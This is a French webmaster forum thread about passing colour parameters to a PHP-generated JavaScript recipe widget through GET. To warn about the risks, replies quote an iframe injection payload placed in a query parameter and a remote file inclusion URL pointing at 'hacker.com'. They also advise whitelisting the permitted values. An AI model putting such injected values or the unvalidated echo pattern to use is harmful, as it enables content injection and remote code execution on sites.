Javascript généré en PHP et transmission de paramètres...
7 messages • Page 1 sur 1
Consultez la formation au référencement naturel Google de WebRankInfo / Ranking Metrics
Javascript généré en PHP et transmission de paramètres...
Salut!
Ces deniers temps j'ai essayé de concevoir un site de cuisine (archi-cuit), et maintenant, j'aimerais que n'importe quel webmaster puisse mettre une recette sur son site, qui changerait tous les jours. En gros, qu'il puisse ajouter dans son site une recette qui vient du mien.
J'ai donc décidé de générer du Javascript en PHP, ce qui a mon avis est plus propre d'une IFRAME. (cf http://www.peous.com/archicuit/webmasters.php)
Cela permet a n'importe qui d'avoir une recette où il veut sur son site juste en inscrivant
Mon problème est que je voudrais bien permettre à l'utilisateur changer la couleur du texte, etc.. mais je ne sais pas comment passer des paramètres à ma page dans cette balise <script language="javascript"> jusqu'à mon code PHP...
Une idée
Ces deniers temps j'ai essayé de concevoir un site de cuisine (archi-cuit), et maintenant, j'aimerais que n'importe quel webmaster puisse mettre une recette sur son site, qui changerait tous les jours. En gros, qu'il puisse ajouter dans son site une recette qui vient du mien.
J'ai donc décidé de générer du Javascript en PHP, ce qui a mon avis est plus propre d'une IFRAME. (cf http://www.peous.com/archicuit/webmasters.php)
Cela permet a n'importe qui d'avoir une recette où il veut sur son site juste en inscrivant
- Code: Tout sélectionner
<script language="javascript" type="text/javascript" src="http://www.peous.com/archicuit/js_show.php"></script>
Mon problème est que je voudrais bien permettre à l'utilisateur changer la couleur du texte, etc.. mais je ne sais pas comment passer des paramètres à ma page dans cette balise <script language="javascript"> jusqu'à mon code PHP...
Une idée
Tout simple...
comme tu fait appel à un script PHP, tu lui passe les valeurs avec la méthode get
pour le reste ru récupère dans ton script PHP(si c'est envoyé)
comme tu fait appel à un script PHP, tu lui passe les valeurs avec la méthode get
- Code: Tout sélectionner
<script language="javascript" type="text/javascript" src="http://www.peous.com/archicuit/js_show.php?texte=black&fond=white"></script>
pour le reste ru récupère dans ton script PHP(si c'est envoyé)
- Code: Tout sélectionner
<?php
if (isset($_GET['texte']))
$texte=$_GET['texte'];
else
$texte="black";
if (isset($_GET['fond']))
$fond=$_GET['fond'];
else
$fond="white";
?>
Il veur dire qu'une personne malattentionnée pourrait appeler une truc dans le genre:
http://www.peous.com/archicuit/js_show.php?texte=<iframe src="http://monsitepourri.com/bannière.php"/>
(c'est simplifié, mais la (mauvaise) idée est là)
http://www.peous.com/archicuit/js_show.php?texte=<iframe src="http://monsitepourri.com/bannière.php"/>
(c'est simplifié, mais la (mauvaise) idée est là)
Et non, toute la beauté du système, c'est que ce n'est justement pas une inclusion mais bien un passage de variable, du coup, c'est toi qui en reste maitre....
Evidement, tu fait une bête vérif avant de l'utiliser.....
-Une comparaison avec un tableau reprenant les seuls valeurs admises vers une autre chaine...
en LDA ca donne un truc du genre
Evidement, tu n'utilise pas la variable Texte pour définir ta couleur mais celle de transfert (couleurtexte)
-Une vérification de chaine formatée (vérif encodage RGB hexa)...
-.......y a plein de possibilités.
pour l'utilisation proprement dite, tu l'integre au style de sortie.
Essaye donc d'envoyer des IFRAMES de cette manière, c'est tout simplement IMPOSSIBLE...
le danger ne vient pas du passage de variable, mai bien de la manière de traiter cette variable....
C'est la base de la sécurité.
--------------------------------------------------------------------------------
Pour information, le problème de la fonction Include est que si tu utilise dans tes fichiers, une fonction du type, includes($page); et que $page n'est pas défini correctement dans le fichier, alors quelqu'un peut utiliser ton script en faisant : tonscript.php?page=http://hacker.com/hacking.txt
Et si http://hacker.com/hacking.txt est un fichier contenant des instructions PHP, elles seront exécutées sur ton site, ce qui peut autoriser le hacker à créer des fichers ou à modifier d'autres fichiers, voir à avoir accès à tes bases de données en lisant tes codes d'accès dans tes fichiers PHP locaux.
Evidement, tu fait une bête vérif avant de l'utiliser.....
-Une comparaison avec un tableau reprenant les seuls valeurs admises vers une autre chaine...
en LDA ca donne un truc du genre
- Code: Tout sélectionner
si texte="red" alors couleurtexte="#FF0000"
Evidement, tu n'utilise pas la variable Texte pour définir ta couleur mais celle de transfert (couleurtexte)
-Une vérification de chaine formatée (vérif encodage RGB hexa)...
-.......y a plein de possibilités.
pour l'utilisation proprement dite, tu l'integre au style de sortie.
- Code: Tout sélectionner
<div style="color:<? echo $couleurtexte; ?>;font-size:11px;">le texte à afficher</div>
Essaye donc d'envoyer des IFRAMES de cette manière, c'est tout simplement IMPOSSIBLE...
le danger ne vient pas du passage de variable, mai bien de la manière de traiter cette variable....
C'est la base de la sécurité.
--------------------------------------------------------------------------------
Pour information, le problème de la fonction Include est que si tu utilise dans tes fichiers, une fonction du type, includes($page); et que $page n'est pas défini correctement dans le fichier, alors quelqu'un peut utiliser ton script en faisant : tonscript.php?page=http://hacker.com/hacking.txt
Et si http://hacker.com/hacking.txt est un fichier contenant des instructions PHP, elles seront exécutées sur ton site, ce qui peut autoriser le hacker à créer des fichers ou à modifier d'autres fichiers, voir à avoir accès à tes bases de données en lisant tes codes d'accès dans tes fichiers PHP locaux.
7 messages • Page 1 sur 1
Formation recommandée sur ce thème :
Formation Référencement naturel Google : apprenez une méthode efficace pour optimiser à fond le référencement naturel dans Google de façon durable... Formation animée par Olivier Duffez et Fabien Facériès, experts en référencement naturel.
Tous les détails sur le site Ranking Metrics : programme, prix, dates et lieux, inscription en ligne.
Lectures recommandées sur ce thème :
- Gérer ses paramètres de tracking dans Google Webmaster Tools
- Gestion des langues et des sessions en PHP / MySQL
- Googlebot analyse certains codes JavaScript
- The Technology Behind Google
- Nouveau format d'URL des referrers Google
- Article sur le fichier .htaccess
- Gérer les comptes et profils Google Analytics
- Le positionnement d'annonces AdSense : explications
- API Blogger : Google Data API
- Votre site est mal référencé ? Voilà les remèdes !
- contenu généré par du javascript dynamique
- Adsense me génère des erreurs Javascript !
- Encodage d'un popup généré par javascript
- Problème XML / RSS généré en PHP
- Script php qui génére la carte de la france
- Retour à la ligne dans un fichier Excel généré en php
- Un PHP Script qui génère un texte avec une police différente
- Petite questions sur les paramètres php
- Paramètres d'authentification Alexa : exemple de code PHP ?
- pour google: 2 parametres php maxi passé en arguments ?
- PHP et javascript (varible php)
- javascript et php
- php et javascript
- javascript -> php
- Editeur php/javascript
Consultez la description détaillée des produits ou services de Google suivants : Google Alerts, Google Related Links, Google Compute
Qui est en ligne
Utilisateurs parcourant ce forum: Aucun utilisateur enregistré et 0 invités






le forum